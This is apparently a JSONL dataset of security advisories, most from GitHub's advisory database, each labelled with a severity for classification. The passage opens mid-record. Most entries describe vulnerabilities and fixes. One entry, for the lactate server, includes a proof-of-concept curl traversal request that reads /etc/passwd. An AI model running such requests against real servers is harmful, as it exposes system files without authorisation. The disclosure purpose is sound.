MyRegistrationView(RegistrationView):\n    \"\"\"\n    A RegistrationView subclass manually protected against sensitive information disclosure\n    in error reports.\n\n\"\"\"\n    @method_decorator(sensitive_post_parameters())\n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, **kwargs)\n```\n\n### References\n\n* Django's documentation on [error reporting in production](https://docs.djangoproject.com/en/3.1/howto/error-reporting/)\n* [How Django's sensitive-data filters work](https://docs.djangoproject.com/en/3.1/howto/error-reporting/#filtering-error-reports)", "text_raw": "Potential sensitive information disclosed in error reports\n\n[Severity: LOW]\n\ndjango-registration is a user-registration application for Django. \n\n### Impact\n\nThe django-registration package provides tools for implementing user-account registration flows in the Django web framework. In django-registration prior to 3.1.2, the base user-account registration view did not properly apply filters to sensitive data, with the result that sensitive data could be included in error reports rather than removed automatically by Django.\n\nTriggering this requires the following conditions:\n\n* A site is using django-registration < 3.1.2\n* The site has detailed error reports (such as Django's [emailed error reports to site staff/developers](https://docs.djangoproject.com/en/3.1/howto/error-reporting/#email-reports)) enabled\n* A server-side error (HTTP 5xx) occurs during an attempt by a user to register an account\n\nUnder these conditions, recipients of the detailed error report will see all submitted data from the account-registration attempt, which may include the user's proposed credentials (such as a password).\n\n### Patches\n\nAs of version 3.1.2, django-registration properly applies Django's `sensitive_post_parameters()` decorator to the base user-registration view, which will cause all data from the HTTP request body to be filtered from detailed error reports in the event of a server-side crash during user account registration.\n\nNote that as applied, this filters *all* HTTP request data from error reports. To selectively allow some fields but not others, see Django's own documentation (in references) and the notes below for how to apply `sensitive_post_parameters()` manually to a particular codebase's `RegistrationView` subclass(es).\n\n### Workarounds\n\nUsers who cannot upgrade quickly can apply the `django.views.decorators.debug.sensitive_post_parameters()` decorator to their own registration views. The decorator should be applied on the `dispatch()` method of the appropriate `RegistrationView` class, using Django's `method_decorator()` helper. For example:\n\n```python\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.debug import sensitive_post_parameters\n\nfrom django_registration.views import RegistrationView\n\nclass MyRegistrationView(RegistrationView):\n    \"\"\"\n    A RegistrationView subclass manually protected against sensitive information disclosure\n    in error reports.\n\n    \"\"\"\n    @method_decorator(sensitive_post_parameters())\n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, **kwargs)\n```\n\n### References\n\n* Django's documentation on [error reporting in production](https://docs.djangoproject.com/en/3.1/howto/error-reporting/)\n* [How Django's sensitive-data filters work](https://docs.djangoproject.com/en/3.1/howto/error-reporting/#filtering-error-reports)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "80ec39bddd4d1aa1d2ee", "text": "Denial-of-Service Memory Exhaustion in qs\n\nVersions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing.\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "text_raw": "Denial-of-Service Memory Exhaustion in qs\n\n[Severity: HIGH]\n\nVersions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing.\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "eb1442e4c79aa32a3546", "text": "Downloads Resources over HTTP in haxe3\n\nAffected versions of `haxe3` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe3`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability. This vulnerability has been left unpatched for several years, despite active maintenance on the package. Because of this, it appears that the package author has accepted the risk, and is unlikely to patch this package in the future.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in haxe3\n\n[Severity: HIGH]\n\nAffected versions of `haxe3` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe3`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability. This vulnerability has been left unpatched for several years, despite active maintenance on the package. Because of this, it appears that the package author has accepted the risk, and is unlikely to patch this package in the future.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-17", "split": "train"}
-{"id": "11215f2008e3b87e3718", "text": "Remote code injection in Log4j\n\n# Summary\n\nLog4j versions prior to 2.16.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.\nAs per [Apache's Log4j security guide](https://logging.apache.org/log4j/2.x/security.html): Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.16.0, this behavior has been disabled by default.\n\nLog4j version 2.15.0 contained an earlier fix for the vulnerability, but that patch did not disable attacker-controlled JNDI lookups in all situations. For more information, see the `Updated advice for version 2.16.0` section of this advisory.\n\n# Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.\n\n# Affected versions\n\nAny Log4J version prior to v2.15.0 is affected to this specific issue.\n\nThe v1 branch of Log4J which is considered End Of Life (EOL) is vulnerable to other RCE vectors so the recommendation is to still update to 2.16.0 where possible.\n\n## Security releases\nAdditional backports of this fix have been made available in versions 2.3.1, 2.12.2, and 2.12.3\n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Remediation Advice\n\n## Updated advice for version 2.16.0\n\nThe Apache Logging Services team provided updated mitigation advice upon the release of version 2.16.0, which [disables JNDI by default and completely removes support for message lookups](https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0).\nEven in version 2.15.0, lookups used in layouts to provide specific pieces of context information will still recursively resolve, possibly triggering JNDI lookups. This problem is being tracked as [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046). More information is available on the [GitHub Security Advisory for CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33).\n\nUsers who want to avoid attacker-controlled JNDI lookups but cannot upgrade to 2.16.0 must [ensure that no such lookups resolve to attacker-provided data and ensure that the the JndiLookup class is not loaded](https://issues.apache.org/jira/browse/LOG4J2-3221).\n\nPlease note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we recommend you migrate to Log4J 2.16.0 where possible.", "text_raw": "Remote code injection in Log4j\n\n[Severity: CRITICAL]\n\n# Summary\n\nLog4j versions prior to 2.16.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.\nAs per [Apache's Log4j security guide](https://logging.apache.org/log4j/2.x/security.html): Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.16.0, this behavior has been disabled by default.\n\nLog4j version 2.15.0 contained an earlier fix for the vulnerability, but that patch did not disable attacker-controlled JNDI lookups in all situations. For more information, see the `Updated advice for version 2.16.0` section of this advisory.\n\n# Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input. \n\n# Affected versions\n\nAny Log4J version prior to v2.15.0 is affected to this specific issue.\n\nThe v1 branch of Log4J which is considered End Of Life (EOL) is vulnerable to other RCE vectors so the recommendation is to still update to 2.16.0 where possible.\n\n## Security releases\nAdditional backports of this fix have been made available in versions 2.3.1, 2.12.2, and 2.12.3\n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Remediation Advice\n\n## Updated advice for version 2.16.0\n\nThe Apache Logging Services team provided updated mitigation advice upon the release of version 2.16.0, which [disables JNDI by default and completely removes support for message lookups](https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0).\nEven in version 2.15.0, lookups used in layouts to provide specific pieces of context information will still recursively resolve, possibly triggering JNDI lookups. This problem is being tracked as [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046). More information is available on the [GitHub Security Advisory for CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33).\n\nUsers who want to avoid attacker-controlled JNDI lookups but cannot upgrade to 2.16.0 must [ensure that no such lookups resolve to attacker-provided data and ensure that the the JndiLookup class is not loaded](https://issues.apache.org/jira/browse/LOG4J2-3221).\n\nPlease note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we recommend you migrate to Log4J 2.16.0 where possible.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "bb6d24cbd45413960b65", "text": "Improper Authorization in react-oauth-flow\n\nAll versions of `react-oauth-flow` fail to properly implement the OAuth protocol. The package stores secrets in the front-end code. Instead of using a public OAuth client, it uses a confidential client on the browser. This may allow attackers to compromise server credentials.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Improper Authorization in react-oauth-flow\n\n[Severity: CRITICAL]\n\nAll versions of `react-oauth-flow` fail to properly implement the OAuth protocol. The package stores secrets in the front-end code. Instead of using a public OAuth client, it uses a confidential client on the browser. This may allow attackers to compromise server credentials.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "760797afc5435038a08f", "text": "Kirby Panel users could upload PHP Phar archives as content files before v2.5.14 and v3.4.5\n\n### Impact\n\nAn editor with full access to the Kirby Panel can upload a PHP `.phar` file and execute it on the server. This vulnerability is critical if you might have potential attackers in your group of authenticated Panel users, as they can gain access to the server with such a Phar file.\n\nVisitors without Panel access *cannot* use this attack vector.\n\n### Patches\n\nThe problem has been patched in [Kirby 2.5.14](https://github.com/getkirby-v2/panel/releases/tag/2.5.14) and [Kirby 3.4.5](https://github.com/getkirby/kirby/releases/tag/3.4.5). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n**Note:** Kirby 2 reaches end of life on December 31, 2020. We therefore recommend to upgrade your Kirby 2 sites to Kirby 3. If you cannot upgrade, we still recommend to update to Kirby 2.5.14.\n\n### Workarounds\n\nKirby 2 sites on older releases can also be patched by applying the [changes from this commit](https://github.com/getkirby-v2/panel/commit/5a569d4e3ddaea2b6628d7ec1472a3e8bc410881).\n\n### Credits\n\nThanks to Thore Imhof of Accenture for reporting the problem.", "text_raw": "Kirby Panel users could upload PHP Phar archives as content files before v2.5.14 and v3.4.5\n\n[Severity: MEDIUM]\n\n### Impact\n\nAn editor with full access to the Kirby Panel can upload a PHP `.phar` file and execute it on the server. This vulnerability is critical if you might have potential attackers in your group of authenticated Panel users, as they can gain access to the server with such a Phar file.\n\nVisitors without Panel access *cannot* use this attack vector.\n\n### Patches\n\nThe problem has been patched in [Kirby 2.5.14](https://github.com/getkirby-v2/panel/releases/tag/2.5.14) and [Kirby 3.4.5](https://github.com/getkirby/kirby/releases/tag/3.4.5). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n**Note:** Kirby 2 reaches end of life on December 31, 2020. We therefore recommend to upgrade your Kirby 2 sites to Kirby 3. If you cannot upgrade, we still recommend to update to Kirby 2.5.14.\n\n### Workarounds\n\nKirby 2 sites on older releases can also be patched by applying the [changes from this commit](https://github.com/getkirby-v2/panel/commit/5a569d4e3ddaea2b6628d7ec1472a3e8bc410881).\n\n### Credits\n\nThanks to Thore Imhof of Accenture for reporting the problem.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-08", "split": "train"}
-{"id": "af6b8ea274989696166e", "text": "Allworx Server Manager Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "Allworx Server Manager Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-11-15", "split": "train"}
-{"id": "8fc3c7fe0c0917ed3c3c", "text": "Imporoper path validation in elFinder.NetCore\n\nThis affects all versions of package elFinder.NetCore. The ExtractAsync function within the FileSystem is vulnerable to arbitrary extraction due to insufficient validation.", "text_raw": "Imporoper path validation in elFinder.NetCore\n\n[Severity: CRITICAL]\n\nThis affects all versions of package elFinder.NetCore. The ExtractAsync function within the FileSystem is vulnerable to arbitrary extraction due to insufficient validation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "0cb65c794ae7d6afca3a", "text": "Verification flaw in Solid identity-token-verifier\n\n### Impact\n#### Severity\nAny Pod on a Solid server using a vulnerable version of the identity-token-verifier library is at risk of a spoofed Demonstration of Proof-of-Possession (DPoP) token binding. This vulnerability could give total and complete access to a targeted Pod.\n\n#### Summary\nA verification flaw in the implementation of the identity token verifier library (https://github.com/solid/identity-token-verifier) allows DPoP proofs to be spoofed.\n\nDPoP proofs are used to bind access tokens to a private key meant to be in sole possession of a specific user. Instead of verifying against the hash of an embedded public key, the library instead verifies against a field that an attacker can modify to spoof another user’s DPoP.\n\nA stolen DPoP proof, when used in the right context, therefore allows the rebinding of a DPoP-bound access token. Any attacker in possession of a targeted access token could build an attack environment to replay it on any Pod service with this vulnerability.\n\n### Patches\nA new version 0.5.2 of identity-token-verifier fixes the verification: https://github.com/solid/identity-token-verifier/blob/7e18d86d65ee681e8ae912b6a032a1bae3cae570/src/lib/DPoP.ts#L25-L35\n\n### Workarounds\nNone\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [identity-token-verifier](https://github.com/solid/identity-token-verifier/) repository.\n* Email: info@solidproject.org", "text_raw": "Verification flaw in Solid identity-token-verifier\n\n[Severity: MEDIUM]\n\n### Impact\n#### Severity\nAny Pod on a Solid server using a vulnerable version of the identity-token-verifier library is at risk of a spoofed Demonstration of Proof-of-Possession (DPoP) token binding. This vulnerability could give total and complete access to a targeted Pod.\n\n#### Summary\nA verification flaw in the implementation of the identity token verifier library (https://github.com/solid/identity-token-verifier) allows DPoP proofs to be spoofed. \n\nDPoP proofs are used to bind access tokens to a private key meant to be in sole possession of a specific user. Instead of verifying against the hash of an embedded public key, the library instead verifies against a field that an attacker can modify to spoof another user’s DPoP. \n\nA stolen DPoP proof, when used in the right context, therefore allows the rebinding of a DPoP-bound access token. Any attacker in possession of a targeted access token could build an attack environment to replay it on any Pod service with this vulnerability.  \n\n\n### Patches\nA new version 0.5.2 of identity-token-verifier fixes the verification: https://github.com/solid/identity-token-verifier/blob/7e18d86d65ee681e8ae912b6a032a1bae3cae570/src/lib/DPoP.ts#L25-L35\n\n### Workarounds\nNone\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [identity-token-verifier](https://github.com/solid/identity-token-verifier/) repository.\n* Email: info@solidproject.org", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "d2376e705d47be81b606", "text": "Cross-site Scripting in JSPWiki\n\nA carefully crafted InterWiki link could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking.", "text_raw": "Cross-site Scripting in JSPWiki\n\n[Severity: MEDIUM]\n\nA carefully crafted InterWiki link could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "ac57a0267dc00f9390b0", "text": "Cross-site Scriptin in JSPWiki\n\nA carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking. Initial reporting indicated ReferredPagesPlugin, but further analysis showed that multiple plugins were vulnerable.", "text_raw": "Cross-site Scriptin in JSPWiki\n\n[Severity: MEDIUM]\n\nA carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking. Initial reporting indicated ReferredPagesPlugin, but further analysis showed that multiple plugins were vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "fdc22111d7e7a3ed9659", "text": "Downloads Resources over HTTP in tomita-parser\n\nAffected versions of `tomita-parser` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `tomita-parser`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in tomita-parser\n\n[Severity: HIGH]\n\nAffected versions of `tomita-parser` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `tomita-parser`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "16f9148ecab71379a6e8", "text": "SQL Injection in rosariosis\n\nAn unauthenticated SQL Injection vulnerability in Rosario Student Information System (aka rosariosis) before 8.1.1 allows remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.", "text_raw": "SQL Injection in rosariosis\n\n[Severity: CRITICAL]\n\nAn unauthenticated SQL Injection vulnerability in Rosario Student Information System (aka rosariosis) before 8.1.1 allows remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "c7cdadb4e627f40006ea", "text": "Directory Traversal in lactate\n\nA crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.", "text_raw": "Directory Traversal in lactate\n\n[Severity: HIGH]\n\nA crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-14", "split": "train"}
-{"id": "b36d3978943615b50ca6", "text": "Adding a private/unlisted room to a community exposes room metadata in an unauthorised manner.\n\n### Impact\nUnauthorised users can access the name, avatar, topic and number of members of a room if they know the ID of the room. This vulnerability is limited to homeservers where:\n- the vulnerable homeserver is in the room; and\n- untrusted users are permitted to create groups (communities).\n\nBy default, only homeserver administrators can create groups. However, homeserver administrators can already access this information in the database or using the admin API. As a result, only homeservers where the configuration setting `enable_group_creation` has been set to `true` are impacted.\n\n### Patches\nServer administrators should upgrade to 1.41.1 or higher.\n\n### Workarounds\nServer administrators can set `enable_group_creation` to `false` in their homeserver configuration (this is the default value) to prevent creation of groups by non-administrators.\n\nAdministrators that are using a reverse proxy could, with partial loss of group functionality, block the following endpoints:\n* `/_matrix/client/r0/groups/{group_id}/rooms`\n* `/_matrix/client/unstable/groups/{group_id}/rooms`\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.", "text_raw": "Adding a private/unlisted room to a community exposes room metadata in an unauthorised manner.\n\n[Severity: LOW]\n\n### Impact\nUnauthorised users can access the name, avatar, topic and number of members of a room if they know the ID of the room. This vulnerability is limited to homeservers where:\n- the vulnerable homeserver is in the room; and\n- untrusted users are permitted to create groups (communities).\n\nBy default, only homeserver administrators can create groups. However, homeserver administrators can already access this information in the database or using the admin API. As a result, only homeservers where the configuration setting `enable_group_creation` has been set to `true` are impacted.\n\n### Patches\nServer administrators should upgrade to 1.41.1 or higher.\n\n### Workarounds\nServer administrators can set `enable_group_creation` to `false` in their homeserver configuration (this is the default value) to prevent creation of groups by non-administrators.\n\nAdministrators that are using a reverse proxy could, with partial loss of group functionality, block the following endpoints:\n* `/_matrix/client/r0/groups/{group_id}/rooms`\n* `/_matrix/client/unstable/groups/{group_id}/rooms`\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, e-mail us at security@matrix.org.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "46697c4300c53786cafa", "text": "Cross-Site Scripting in swagger-ui\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize JSON schemas, allowing attackers to execute arbitrary JavaScript using `<script>` tags in the method descriptions.\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize JSON schemas, allowing attackers to execute arbitrary JavaScript using `<script>` tags in the method descriptions.\n\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "9d2fcca866249552152e", "text": "Code injection in Kubernetes Java Client\n\nLoading specially-crafted yaml with the Kubernetes Java Client library can lead to code execution.", "text_raw": "Code injection in Kubernetes Java Client\n\n[Severity: MEDIUM]\n\nLoading specially-crafted yaml with the Kubernetes Java Client library can lead to code execution.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f41f8fe454b735c43942", "text": "Malicious Package in requesst\n\nAll versions of `requesst` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requesst\n\n[Severity: CRITICAL]\n\nAll versions of `requesst` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "3009a8b126a2f3385374", "text": "Cross-site scripting in django\n\nCross-site scripting (XSS) vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 might allow remote attackers to inject arbitrary web script or HTML via a filename associated with a file upload.", "text_raw": "Cross-site scripting in django\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 might allow remote attackers to inject arbitrary web script or HTML via a filename associated with a file upload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "95cc2d04d222e7202bfe", "text": "Authenticated Stored XSS in shopware/shopware\n\n### Impact\nAuthenticated Stored XSS in Administration\n\n### Patches\nUse the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### Workarounds\nIf you cannot use the security plugin, add the following config to your `.htaccess` file\n\n```\n<IfModule mod_headers.c>\n    <FilesMatch \"\\.(?i:svg)$\">\n        Header set Content-Security-Policy \"script-src 'none'\"\n    </FilesMatch>\n</IfModule>\n```\n\nIf you are using nginx as server config, you can add the following to your configuration:\n```\nserver {\n    # ...\n\nlocation ~* ^.+\\.svg$ {\n        add_header Content-Security-Policy \"script-src 'none'\";\n    }\n}\n```\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/sicherheitsupdates/security-update-10-2021", "text_raw": "Authenticated Stored XSS in shopware/shopware\n\n[Severity: MEDIUM]\n\n### Impact\nAuthenticated Stored XSS in Administration\n\n### Patches\nUse the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### Workarounds\nIf you cannot use the security plugin, add the following config to your `.htaccess` file\n\n```\n<IfModule mod_headers.c>\n    <FilesMatch \"\\.(?i:svg)$\">\n        Header set Content-Security-Policy \"script-src 'none'\"\n    </FilesMatch>\n</IfModule>\n```\n\nIf you are using nginx as server config, you can add the following to your configuration:\n```\nserver {\n    # ...\n\n    location ~* ^.+\\.svg$ {\n        add_header Content-Security-Policy \"script-src 'none'\";\n    }\n}\n```\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/sicherheitsupdates/security-update-10-2021\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-27", "split": "train"}
-{"id": "c41efda97add8e2aa2c9", "text": "Cross-site scripting (XSS) vulnerability in Zope 2.8.x before 2.8.12, 2.9.x before 2.9.12, 2.10.x before 2.10.11, 2.11.x before 2.11.6, and 2.12.x before 2.12.3 allows remote attackers to inject arbitrary web script or HTML via vectors related to error messages.", "text_raw": "Moderate severity vulnerability that affects Zope2\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Zope 2.8.x before 2.8.12, 2.9.x before 2.9.12, 2.10.x before 2.10.11, 2.11.x before 2.11.6, and 2.12.x before 2.12.3 allows remote attackers to inject arbitrary web script or HTML via vectors related to error messages.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "66e1e26a0fce8d20839d", "text": "Exposure of Resource to Wrong Sphere in salt\n\nAn issue was discovered in SaltStack Salt before 3003.3. A user who has control of the source, and source_hash URLs can gain full file system access as root on a salt minion.", "text_raw": "Exposure of Resource to Wrong Sphere in salt\n\n[Severity: HIGH]\n\nAn issue was discovered in SaltStack Salt before 3003.3. A user who has control of the source, and source_hash URLs can gain full file system access as root on a salt minion.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-21", "split": "train"}
